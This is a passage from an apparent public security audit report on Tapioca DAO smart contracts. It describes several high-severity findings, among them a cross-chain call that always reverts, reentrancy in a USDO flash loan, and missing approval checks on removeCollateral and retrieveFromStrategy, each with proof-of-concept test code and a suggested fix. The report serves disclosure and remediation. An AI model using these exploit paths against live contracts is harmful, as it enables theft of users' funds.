https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L539-L545

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L153-L159

Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, but works in the source chain, where it debits the funds from users. Thus, these funds will not be credited in the destination and are forever lost.

Proof of Concept

In the BaseTOFT, if the packet from the received cross chain message in lzReceive() is of type PT_TAP_EXERCISE, it delegate calls to the BaseTOFTOptionsModule:

function _nonblockingLzReceive(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) internal virtual override {
    uint256 packetType = _payload.toUint256(0);
    ...
    } else if (packetType == PT_TAP_EXERCISE) {
        _executeOnDestination(
            Module.Options,
            abi.encodeWithSelector(
                BaseTOFTOptionsModule.exercise.selector,
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload
            ),
            _srcChainId,
            _srcAddress,
            _nonce,
            _payload
        );
    ...

In the BaseTOFTOptionsModule, the exercise() function is declared as:

function exercise(
    address module,
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) public {
    ...
}

Notice that the address module argument is specified in the exercise() function declaration, but not in the _nonBlockingLzReceive() call to it. This will make the message always revert because it fails when decoding the arguments to the function call, due to the extra address module argument.

The following POC illustrates this behaviour. The exerciseOption() cross chain message fails on the destination:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOptionsBrokerCrossChain} from "tapioca-periph/contracts/interfaces/ITapiocaOptionsBroker.sol";

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_TAP_EXERCISE = 777;

    event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);

    function test_POC_ExerciseWrongArguments() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(address(3)),
            payable(optionsModule_)
        );

        address user_ = makeAddr("user");
        deal(user_, 2 ether);
        vm.prank(user_);
        tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether);

        ITapiocaOptionsBrokerCrossChain.IExerciseOptionsData memory optionsData_; 
        ITapiocaOptionsBrokerCrossChain.IExerciseLZData memory lzData_;
        ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData_;
        ICommonData.IApproval[] memory approvals_;

        optionsData_.from = user_;
        optionsData_.target = user_;
        optionsData_.paymentTokenAmount = 1 ether;
        optionsData_.oTAPTokenID = 1;
        optionsData_.paymentToken = address(0);
        optionsData_.tapAmount = 1 ether;

        lzData_.lzDstChainId = 102;
        lzData_.zroPaymentAddress = address(0);
        lzData_.extraGas = 200_000;

        tapSendData_.withdrawOnAnotherChain = false;
        tapSendData_.tapOftAddress = address(0);
        tapSendData_.lzDstChainId = 102;
        tapSendData_.amount = 0;
        tapSendData_.zroPaymentAddress = address(0);
        tapSendData_.extraGas = 0;

        tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));

        vm.prank(user_);
        tapiocaOft_.exerciseOption{value: 1 ether}(
            optionsData_,
            lzData_,
            tapSendData_,
            approvals_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_TAP_EXERCISE,
            optionsData_,
            tapSendData_,
            approvals_
        );

        vm.prank(LZ_ENDPOINT);
        vm.expectEmit(true, true, true, true, address(tapiocaOft_));
        emit MessageFailed(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_, vm.parseBytes("0x4e487b710000000000000000000000000000000000000000000000000000000000000041"));
        tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
    }
}

Tools Used

Vscode, Foundry

Adding the extra module parameter when encoding the function call in _nonBlockingLzReceive() would be vulnerable to someone calling the BaseTOFTOptionsModule directly on function exercise() with a malicious module argument. It’s safer to remove the module argument and call exerciseInternal() directly, which should work since it’s a public function.

function _nonblockingLzReceive(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) internal virtual override {
    uint256 packetType = _payload.toUint256(0);
    ...
    } else if (packetType == PT_TAP_EXERCISE) {
        _executeOnDestination(
            Module.Options,
            abi.encodeWithSelector(
                BaseTOFTOptionsModule.exercise.selector,
                address(optionsModule), // here
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload
            ),
            _srcChainId,
            _srcAddress,
            _nonce,
            _payload
        );
    ...

0xRektora (Tapioca) confirmed


[H-30] utilization for _getInterestRate() does not factor in interest

Submitted by ItsNio, also found by ItsNio and SaeedAlipoor01988

The calculation for utilization in _getInterestRate() does not factor in the accrued interest. This leads to _accrueInfo.interestPerSecond being under-represented, and leading to incorrect interest rate calculation and potentially endangering conditions such as utilization > maximumTargetUtilization on line 124.

Proof of Concept

The calculation for utilization in the _getInterestRate() function for SGLCommon.sol occurs on lines 61-64 as a portion of the fullAssetAmount (which is also problematic) and the _totalBorrow.elastic. However, _totalBorrow.elastic is accrued by interest on line 99. This accrued amount is not factored into the calculation for utilization, which will be used to update the new interest rate, as purposed by the comment on line 111.

Factor in the interest accrual into the utilization calculation:

...
        // Accrue interest
        extraAmount =
            (uint256(_totalBorrow.elastic) *
                _accrueInfo.interestPerSecond *
                elapsedTime) /
            1e18;
        _totalBorrow.elastic += uint128(extraAmount);
        
    +    uint256 fullAssetAmount = yieldBox.toAmount(    
    +        assetId,
    +        _totalAsset.elastic,
    +        false
    +    ) + _totalBorrow.elastic;
        //@audit utilization factors in accrual
    +    utilization = fullAssetAmount == 0
    +   ? 0
    +        : (uint256(_totalBorrow.elastic) * UTILIZATION_PRECISION) /
    +        fullAssetAmount;
...

0xRektora (Tapioca) confirmed


[H-31] Collateral can be locked in BigBang contract when debtStartPoint is nonzero

Submitted by zzzitron, also found by minhtrng, RedOneN, kutugu, bin2chen, 0xSky, 0xrugpull_detector, mojito_auditor, plainshift, KIntern_NA, carrotsmuggler, zzebra83, 0xRobocop, and chaduke

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L395-L397

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L242-L255

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L180-L201

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L512-L520

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L309-L317

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L263-L271

Following conditions have to be met for this issue to happen:

  • This issue occurs when the BigBang market is not an ETH market.
  • Penrose.registerBigBang() being called with data param where data.debtStartPoint is nonzero.
  • The first borrower borrows using BigBang.borrow(), with function param amount (borrow amount) has to be less than debtStartPoint.

Now BigBang.getDebtRate() will always revert and the collateral from the first borrower is locked, because BigBang.getDebtRate() is used in BigBang._accrue(), and BigBang._accrue() is used in every function that involves totalBorrow like in BigBang.liquidate(), BigBang.repay().

The reason for the revert is that in BigBang.getDebtRate(), totalBorrow.elastic which gets assigned to the variable _currentDebt (line 186 BigBang.sol) will not be 0, and then on line 192 in the BigBang contract, the _currentDebt is smaller than debtStartPoint which causes the revert.

As a consequence the collateral is trapped as repay or liquidate requires to call accrue before hand.

Proof of Concept

The following gist contains a proof of concept to demonstrate this issue. A non-ETH bigbang market (wbtc market) is deployed with Penrose::registerBigBang. Note that the debtStartPoint parameter in the init data is non-zero (set to be 1e18).

First we set up the primary eth market: Some weth is minted and deposited to the ETH market. Then some assets were borrowed against the collateral. This is necessary condition for this bug to happen, which is the ETH market to have some borrowed asset. However, this condition is very likely to be fulfilled, as the primary ETH market would be deployed before any non-eth market.

Now, an innocent user is adding collateral and borrows in the non-eth market (the wbtc market). The issue occurs when the user borrows less than the debtStartPoint. If the user should borrow less than the debtStartPoint, the BigBang::accrue will revert and the collateral is trapped in this Market.

https://gist.github.com/zzzitron/a6d6377b73130819f15f1e5a2e2a2ba9

The bug happens here in the line 192 in the BigBang.

179     /// @notice returns the current debt rate
180     function getDebtRate() public view returns (uint256) {                                                                        
181         if (_isEthMarket) return penrose.bigBangEthDebtRate(); // default 0.5%                                                    
182         if (totalBorrow.elastic == 0) return minDebtRate;                                                                         
183         
184         uint256 _ethMarketTotalDebt = BigBang(penrose.bigBangEthMarket())                                                         
185             .getTotalDebt();                                                                                                      
186         uint256 _currentDebt = totalBorrow.elastic;
187         uint256 _maxDebtPoint = (_ethMarketTotalDebt *                                                                            
188             debtRateAgainstEthMarket) / 1e18;                                                                                     
189 
190         if (_currentDebt >= _maxDebtPoint) return maxDebtRate;
191 
192         uint256 debtPercentage = ((_currentDebt - debtStartPoint) *
193             DEBT_PRECISION) / (_maxDebtPoint - debtStartPoint);
194         uint256 debt = ((maxDebtRate - minDebtRate) * debtPercentage) /
195             DEBT_PRECISION +
196             minDebtRate;
197 

Consider adding a require statement to BigBang.borrow() to make sure that the borrow amount has to be >= debtStartPoint.

// BigBang
// borrow
247        require(amount >= debtStartPoint);

0xRektora (Tapioca) confirmed


[H-32] Reentrancy in USDO.flashLoan(), enabling an attacker to borrow unlimited USDO exceeding the max borrow limit

Submitted by zzzitron, also found by RedOneN, unsafesol, GalloDaSballo, kodyvim, ayeslick, andy, and dirk_y

Due to an reentrancy attack vector, an attacker can flashLoan an unlimited amount of USDO. For example the attacker can create a malicious contract as the receiver, to execute the attack via the onFlashLoan callback (line 94 USDO.sol).

The exploit works because USDO.flashLoan() is missing a reentrancy protection (modifier).

As a result an unlimited amount of USDO can be borrowed by an attacker via the flashLoan exploit described above.

Proof of Concept

Here is a POC that shows an exploit:

https://gist.github.com/zzzitron/a121bc1ba8cc947d927d4629a90f7991

To run the exploit add this malicious contract into the contracts folder:

https://gist.github.com/zzzitron/8de3be7ddf674cc19a6272b59cfccde1

Consider adding some reentrancy protection modifier to USDO.flashLoan().

0xRektora (Tapioca) confirmed, but disagreed with severity and commented:

Should be High severity, could really harm the protocol.

LSDan (Judge) increased severity to High


[H-33] BaseTOFTLeverageModule.sol: leverageDownInternal tries to burn tokens from wrong address

Submitted by carrotsmuggler, also found by xuwinnie

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L212

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L269-L277

The function sendForLeverage is used to interact with the USDO token on a different chain. Lets assume the origin of the tx is chain A, and the destination is chain B. The BaseTOFT contract sends a message through the lz endpoints to make a call in the destination chain.

The flow of control is as follows:

Chain A : user -call-> BaseTOFT.sol:sendForLeverage -delegateCall-> BaseTOFTLeverageModule.sol:sendForLeverage -call-> lzEndpointA

Chain B : lzEndpointB -call-> BaseTOFT.sol:_nonblockingLzReceive -delegateCall-> BaseTOFTLeverageModule.sol:leverageDown -delegateCall-> leverageDownInternal

For the last call to leverageDownInternal, the msg.sender is the lzEndpointB. This is because all the calls since then have been delegate calls, and thus msg.sender has not been able to change. We analyze the leverageDownInternal function in this context.

function leverageDownInternal(
        uint256 amount,
        IUSDOBase.ILeverageSwapData memory swapData,
        IUSDOBase.ILeverageExternalContractsData memory externalData,
        IUSDOBase.ILeverageLZData memory lzData,
        address leverageFor
    ) public payable {
        _unwrap(address(this), amount);

The very first operation is to do an unwrap of the mTapiocaOFT token. This is done by calling _unwrap defined in the same contract as shown.

function _unwrap(address _toAddress, uint256 _amount) private {
    _burn(msg.sender, _amount);

    if (erc20 == address(0)) {
        _safeTransferETH(_toAddress, _amount);
    } else {
        IERC20(erc20).safeTransfer(_toAddress, _amount);
    }
}

Here we see the contract is trying to burn tokens from the msg.sender address. But the issue is in this context, the msg.sender is the lzEndpoint on chain B who is doing the call, and they dont have any TOFT tokens there. Thus this call will revert.

The TOFT tokens are actually held within the same contract where the execution is happening. This is because in the leverageDown function, we see the contract credit itself with TOFT tokens.

 if (!credited) {
    _creditTo(_srcChainId, address(this), amount);
    creditedPackets[_srcChainId][_srcAddress][_nonce] = true;
}

Thus the tokens are actually present in address(this) and not in msg.sender. Thus the burn should be done from address(this) and not msg.sender. Thus all cross chain calls for this function will fail and revert.

Since this leads to broken functionality, this is considered a high severity issue.

Proof of Concept

Since no test exists for the sendForLeverage function, no POC is provided. However the flow of control and detailed explanation is provided above.

Run _burn(address(this),amount) to burn the tokens instead of unwrapping. Then do the eth/erc20 transfer from the contract.

0xRektora (Tapioca) confirmed via duplicate issue 725


[H-34] BaseTOFT.sol: retrieveFromStrategy can be used to manipulate other user’s positions due to absent approval check

Submitted by carrotsmuggler, also found by xuwinnie, peakbolt, and 0x73696d616f

The function retrieveFromStrategy is used to trigger a removal of TOFT tokens from a strategy on a different chain. The function takes the parameter from, which is the account whose tokens will be retrieved.

The main issue is that anyone can call this function with any address passed to the from parameter. There is no allowance check on the chain, allowing this operation. Let’s walk through the steps to see how this is executed.

BaseTOFT.sol:retrieveFromStrategy is called by the attacker with a from address of the victim. This function calls the retrieveFromStrategy function in the strategy module.

  _executeModule(
    Module.Strategy,
    abi.encodeWithSelector(
        BaseTOFTStrategyModule.retrieveFromStrategy.selector,
        from,
        amount,
        share,
        assetId,
        lzDstChainId,
        zroPaymentAddress,
        airdropAdapterParam
    ),
    false
);

BaseTOFTStrategyModule.sol:retrieveFromStrategy is called. This function packs some data and sends it forward to the lz endpoint. Point to note, is that no approval check is done for the msg.sender of this whole setup yet.

bytes memory lzPayload = abi.encode(
    PT_YB_RETRIEVE_STRAT,
    LzLib.addressToBytes32(_from),
    toAddress,
    amount,
    share,
    assetId,
    zroPaymentAddress
);
// lzsend(...)

After the message is sent, the lzendpoint on the receiving chain will call the TOFT contract again. Now, the msg.sender is not the attacker, but is instead the lzendpoint! The endpoint call gets delegated to the strategyWithdraw function in the Strategy module.

 (
    ,
    bytes32 from,
    ,
    uint256 _amount,
    uint256 _share,
    uint256 _assetId,
    address _zroPaymentAddress
) = abi.decode(
        _payload,
        (uint16, bytes32, bytes32, uint256, uint256, uint256, address)
    );

Here we see the unpacking. note that the second unpacked value is put in the from field. This is an address determined by the attacker and passed through the layerzero endpoints. The contract then calls _retrieveFromYieldBox to take out tokens from the Yieldbox. They are then sent cross chain back to the from address.

_retrieveFromYieldBox(_assetId, _amount, _share, _from, address(this));
_debitFrom(
    address(this),
    lzEndpoint.getChainId(),
    LzLib.addressToBytes32(address(this)),
    _amount
);
bytes memory lzSendBackPayload = _encodeSendPayload(
    from,
    _ld2sd(_amount)
);
_lzSend(
    _srcChainId,
    lzSendBackPayload,
    payable(this),
    _zroPaymentAddress,
    "",
    address(this).balance
);

Thus it is evident from this call that the YieldBox contract being called has no idea that the original sender was the attacker. Instead, for the YieldBox contract, the msg.sender is the current TOFT contract. If users want to use the cross chain operations, they have to give allowance to the TOFT address. Thus we can assume that the victim has already given allowance to this address. Thus the YieldBox thinks the msg.sender is the TOFT contract, who is allowed, and thus executes the operations.

Thus we have demonstrated that the attacker is able to call a function on the victim’s YieldBox position without being given any allowance by setting the victim’s address in the from field. Thus this is a high severity issue since the victim’s tokens are withdrawn and send to a different chain without their consent.

Proof of Concept

Two lines from the test in test/TapiocaOFT.test.ts is changed to show this issue. Below is the full test for reference. The changed bits are marked with arrows.

it.only("should be able to deposit & withdraw from a strategy available on another layer", async () => {
    const {
        signer,
        erc20Mock,
        mintAndApprove,
        bigDummyAmount,
        utils,
        randomUser, //@audit <------------------------------------- take other user address
    } = await loadFixture(setupFixture)

    const LZEndpointMock_chainID_0 = await utils.deployLZEndpointMock(
        31337
    )
    const LZEndpointMock_chainID_10 = await utils.deployLZEndpointMock(
        10
    )

    const tapiocaWrapper_0 = await utils.deployTapiocaWrapper()
    const tapiocaWrapper_10 = await utils.deployTapiocaWrapper()

    //Deploy YB and Strategies
    const yieldBox0Data = await deployYieldBox(signer)
    const yieldBox10Data = await deployYieldBox(signer)

    const YieldBox_0 = yieldBox0Data.yieldBox
    const YieldBox_10 = yieldBox10Data.yieldBox

    {
        const txData =
            await tapiocaWrapper_0.populateTransaction.createTOFT(
                erc20Mock.address,
                (
                    await utils.Tx_deployTapiocaOFT(
                        LZEndpointMock_chainID_0.address,
                        erc20Mock.address,
                        YieldBox_0.address,
                        31337,
                        signer
                    )
                ).txData,
                ethers.utils.randomBytes(32),
                false
            )
        txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
        await signer.sendTransaction(txData)
    }

    const tapiocaOFT0 = (await utils.attachTapiocaOFT(
        await tapiocaWrapper_0.tapiocaOFTs(
            (await tapiocaWrapper_0.tapiocaOFTLength()).sub(1)
        )
    )) as TapiocaOFT

    // Deploy TapiocaOFT10
    {
        const txData =
            await tapiocaWrapper_10.populateTransaction.createTOFT(
                erc20Mock.address,
                (
                    await utils.Tx_deployTapiocaOFT(
                        LZEndpointMock_chainID_10.address,
                        erc20Mock.address,
                        YieldBox_10.address,
                        10,
                        signer
                    )
                ).txData,
                ethers.utils.randomBytes(32),
                false
            )
        txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
        await signer.sendTransaction(txData)
    }

    const tapiocaOFT10 = (await utils.attachTapiocaOFT(
        await tapiocaWrapper_10.tapiocaOFTs(
            (await tapiocaWrapper_10.tapiocaOFTLength()).sub(1)
        )
    )) as TapiocaOFT

    const strategy0Data = await deployToftMockStrategy(
        signer,
        YieldBox_0.address,
        tapiocaOFT0.address
    )
    const strategy10Data = await deployToftMockStrategy(
        signer,
        YieldBox_10.address,
        tapiocaOFT10.address
    )

    const Strategy_0 = strategy0Data.tOFTStrategyMock
    const Strategy_10 = strategy10Data.tOFTStrategyMock

    // Setup
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )

    // Set trusted remotes
    const dstChainId0 = 31337
    const dstChainId10 = 10

    await tapiocaWrapper_0.executeTOFT(
        tapiocaOFT0.address,
        tapiocaOFT0.interface.encodeFunctionData("setTrustedRemote", [
            dstChainId10,
            ethers.utils.solidityPack(
                ["address", "address"],
                [tapiocaOFT10.address, tapiocaOFT0.address]
            ),
        ]),
        true
    )

    await tapiocaWrapper_10.executeTOFT(
        tapiocaOFT10.address,
        tapiocaOFT10.interface.encodeFunctionData("setTrustedRemote", [
            dstChainId0,
            ethers.utils.solidityPack(
                ["address", "address"],
                [tapiocaOFT0.address, tapiocaOFT10.address]
            ),
        ]),
        true
    )
    // Link endpoints with addresses
    await LZEndpointMock_chainID_0.setDestLzEndpoint(
        tapiocaOFT10.address,
        LZEndpointMock_chainID_10.address
    )
    await LZEndpointMock_chainID_10.setDestLzEndpoint(
        tapiocaOFT0.address,
        LZEndpointMock_chainID_0.address
    )

    //Register tokens on YB
    await YieldBox_0.registerAsset(
        1,
        tapiocaOFT0.address,
        Strategy_0.address,
        0
    )
    await YieldBox_10.registerAsset(
        1,
        tapiocaOFT10.address,
        Strategy_10.address,
        0
    )

    const tapiocaOFT0Id = await YieldBox_0.ids(
        1,
        tapiocaOFT0.address,
        Strategy_0.address,
        0
    )
    const tapiocaOFT10Id = await YieldBox_10.ids(
        1,
        tapiocaOFT10.address,
        Strategy_10.address,
        0
    )

    expect(tapiocaOFT0Id.eq(1)).to.be.true
    expect(tapiocaOFT10Id.eq(1)).to.be.true

    //Test deposits on same chain
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )

    await tapiocaOFT0.approve(
        YieldBox_0.address,
        ethers.constants.MaxUint256
    )
    let toDepositShare = await YieldBox_0.toShare(
        tapiocaOFT0Id,
        bigDummyAmount,
        false
    )
    await YieldBox_0.depositAsset(
        tapiocaOFT0Id,
        signer.address,
        signer.address,
        0,
        toDepositShare
    )

    let yb0Balance = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )
    let vaultAmount = await Strategy_0.vaultAmount()
    expect(yb0Balance.gt(bigDummyAmount)).to.be.true //bc of the yield
    expect(vaultAmount.eq(bigDummyAmount)).to.be.true

    //Test withdraw on same chain
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )
    await tapiocaOFT0.transfer(
        Strategy_0.address,
        yb0Balance.sub(bigDummyAmount)
    ) //assures the strategy has enough tokens to withdraw
    const signerBalanceBeforeWithdraw = await tapiocaOFT0.balanceOf(
        signer.address
    )

    const toWithdrawShare = await YieldBox_0.balanceOf(
        signer.address,
        tapiocaOFT0Id
    )
    await YieldBox_0.withdraw(
        tapiocaOFT0Id,
        signer.address,
        signer.address,
        0,
        toWithdrawShare
    )
    const signerBalanceAfterWithdraw = await tapiocaOFT0.balanceOf(
        signer.address
    )

    expect(
        signerBalanceAfterWithdraw
            .sub(signerBalanceBeforeWithdraw)
            .gt(bigDummyAmount)
    ).to.be.true

    vaultAmount = await Strategy_0.vaultAmount()
    expect(vaultAmount.eq(0)).to.be.true

    yb0Balance = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )
    expect(vaultAmount.eq(0)).to.be.true

    const latestBalance = await Strategy_0.currentBalance()
    expect(latestBalance.eq(0)).to.be.true

    toDepositShare = await YieldBox_0.toShare(
        tapiocaOFT0Id,
        bigDummyAmount,
        false
    )

    const totals = await YieldBox_0.assetTotals(tapiocaOFT0Id)
    expect(totals[0].eq(0)).to.be.true
    expect(totals[1].eq(0)).to.be.true

    //Cross chain deposit from TapiocaOFT_10 to Strategy_0
    await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
    await tapiocaOFT0.wrap(
        signer.address,
        signer.address,
        bigDummyAmount
    )

    await expect(
        tapiocaOFT0.sendFrom(
            signer.address,
            10,
            ethers.utils.defaultAbiCoder.encode(
                ["address"],
                [signer.address]
            ),
            bigDummyAmount,
            {
                refundAddress: signer.address,
                zroPaymentAddress: ethers.constants.AddressZero,
                adapterParams: "0x",
            },
            {
                value: ethers.utils.parseEther("0.02"),
                gasLimit: 2_000_000,
            }
        )
    ).to.not.be.reverted
    const signerBalanceForTOFT10 = await tapiocaOFT10.balanceOf(
        signer.address
    )
    expect(signerBalanceForTOFT10.eq(bigDummyAmount)).to.be.true

    const asset = await YieldBox_0.assets(tapiocaOFT0Id)
    expect(asset[2]).to.eq(Strategy_0.address)

    await tapiocaOFT10.sendToStrategy(
        signer.address,
        signer.address,
        bigDummyAmount,
        toDepositShare,
        1, //asset id
        dstChainId0,
        {
            extraGasLimit: "2500000",
            zroPaymentAddress: ethers.constants.AddressZero,
        },
        {
            value: ethers.utils.parseEther("15"),
        }
    )

    let strategy0Amount = await Strategy_0.vaultAmount()
    expect(strategy0Amount.gt(0)).to.be.true

    const yb0BalanceAfterCrossChainDeposit = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )
    expect(yb0BalanceAfterCrossChainDeposit.gt(bigDummyAmount))

    const airdropAdapterParams = ethers.utils.solidityPack(
        ["uint16", "uint", "uint", "address"],
        [2, 800000, ethers.utils.parseEther("2"), tapiocaOFT0.address]
    )

    await YieldBox_0.setApprovalForAsset(
        tapiocaOFT0.address,
        tapiocaOFT0Id,
        true
    ) //this should be done through Magnetar in the same tx, to avoid frontrunning

    yb0Balance = await YieldBox_0.amountOf(
        signer.address,
        tapiocaOFT0Id
    )

    await tapiocaOFT0.transfer(
        Strategy_0.address,
        yb0Balance.sub(bigDummyAmount)
    ) //assures the strategy has enough tokens to withdraw

    await hre.ethers.provider.send("hardhat_setBalance", [
        randomUser.address,
        ethers.utils.hexStripZeros(
            ethers.utils.parseEther(String(20))._hex
        ),
    ]) //@audit <------------------------------------------- Fund user
    await tapiocaOFT10
        .connect(randomUser) //@audit <------------------------------------------- Call with other user instead of signer
        .retrieveFromStrategy(
            signer.address,
            yb0BalanceAfterCrossChainDeposit,
            toWithdrawShare,
            1,
            dstChainId0,
            ethers.constants.AddressZero,
            airdropAdapterParams,
            {
                value: ethers.utils.parseEther("10"),
            }
        )
    strategy0Amount = await Strategy_0.vaultAmount()
    expect(strategy0Amount.eq(0)).to.be.true

    const signerBalanceAfterCrossChainWithdrawal =
        await tapiocaOFT10.balanceOf(signer.address)
    expect(signerBalanceAfterCrossChainWithdrawal.gt(bigDummyAmount)).to
        .be.true
})

The only relevant change is that the function retrieveFromStrategy is called from another address. The test passes, showing that an attacker, in this case randomUser can influence the operations of the victim, the signer.

Add an allowance check for the msg.sender in the strategyWithdraw function.

0xRektora (Tapioca) confirmed, but disagreed with severity and commented:

Should be medium. Although annoying, attacker can’t steal the user’s asset, and will have to pay gas without profit for both chains in order to do this trick. Should be grouped in #1037.

Same answer as https://github.com/code-423n4/2023-07-tapioca-findings/issues/1009.


[H-35] BaseTOFT.sol: removeCollateral can be used to manipulate other user’s positions and steal tokens due to absent approval check

Submitted by carrotsmuggler, also found by KIntern_NA

The function removeCollateral is used to trigger a removal of collateral on a different chain. The function takes the parameter from, which is the account whose collateral will be sold. It also takes the parameter to where these collateral tokens will be transferred to.

The main issue is that anyone can call this function with any address passed to the from parameter. There is no allowance check on the chain, allowing this operation. Let’s walk through the steps to see how this is executed. Lets assume both from and to are the victim’s address for reasons explained at the end.

BaseTOFT.sol:removeCollateral is called by the attacker with a from and to address of the victim. This function calls the removeCollateral function in the market module.

 _executeModule(
    Module.Market,
    abi.encodeWithSelector(
        BaseTOFTMarketModule.removeCollateral.selector,
        from,
        to,
        lzDstChainId,
        zroPaymentAddress,
        withdrawParams,
        removeParams,
        approvals,
        adapterParams
    ),
    false
);

BaseTOFTMarketModule.sol:removeCollateral is called. This function packs some data and sends it forward to the lz endpoint. Point to note, is that no approval check is done for the msg.sender of this whole setup yet.

bytes memory lzPayload = abi.encode(
    PT_MARKET_REMOVE_COLLATERAL,
    from,
    to,
    toAddress,
    removeParams,
    withdrawParams,
    approvals
);
// lzsend(...)

After the message is sent, the lzendpoint on the receiving chain will call the TOFT contract again. Now, the msg.sender is not the attacker, but is instead the lzendpoint! The endpoint call gets delegated to the remove function in the Market module.

 (
    ,
    ,
    address to,
    ,
    ITapiocaOFT.IRemoveParams memory removeParams,
    ICommonData.IWithdrawParams memory withdrawParams,
    ICommonData.IApproval[] memory approvals
) = abi.decode(
        _payload,
        (
            uint16,
            address,
            address,
            bytes32,
            ITapiocaOFT.IRemoveParams,
            ICommonData.IWithdrawParams,
            ICommonData.IApproval[]
        )
    );

Here we see the unpacking. note that the third unpacked value is put in the to field. This is an address determined by the attacker and passed through the layerzero endpoints. The contract then calls a market contract’s removeCollateral function.

 IMarket(removeParams.market).removeCollateral(
    to,
    to,
    removeParams.share
);

Thus it is evident from this call that the Market contract being called has no idea that the original sender was the attacker. Instead, for the Market contract, the msg.sender is the current TOFT contract. If users want to use the cross chain operations, they have to give allowance to the TOFT contract address. Thus we can assume that the victim has already given allowance to this address. Thus the market thinks the msg.sender is the TOFT contract, who is allowed, and thus executes the operations.

Thus we have demonstrated that the attacker is able to call a function on the victim’s market position without being given any allowance by setting the victim’s address in the to field. While it is a suspected bug that the removeCollateral removes collateral from the to field’s account and not the from field, since both these parameters are determined by the attacker, the bug exists either way. Thus this is a high severity issue since the victim’s collateral is withdrawn, dropping their health factor.

Proof of Concept

A POC isnt provided since the test suite does not have a test for the removeCollateral function. However the function retrieveFromStrategy suffers from the same issue and has been addressed in a different report. The test for that function can be used to demonstrate this issue.

Two lines from the test in test/TapiocaOFT.test.ts is changed to show this issue. Below is the full test for reference. The changed bits are marked with arrows.

it.only("should be able to deposit & withdraw from a strategy available on another layer", async () => {
    const {
        signer,
        erc20Mock,
        mintAndApprove,
        bigDummyAmount,
        utils,
        randomUser, //@audit <------------------------------------- take other user address
    } = await loadFixture(setupFixture)

    const LZEndpointMock_chainID_0 = await utils.deployLZEndpointMock(
        31337
    )
    const LZEndpointMock_chainID_10 = await utils.deployLZEndpointMock(
        10
    )

    const tapiocaWrapper_0 = await utils.deployTapiocaWrapper()
    const tapiocaWrapper_10 = await utils.deployTapiocaWrapper()

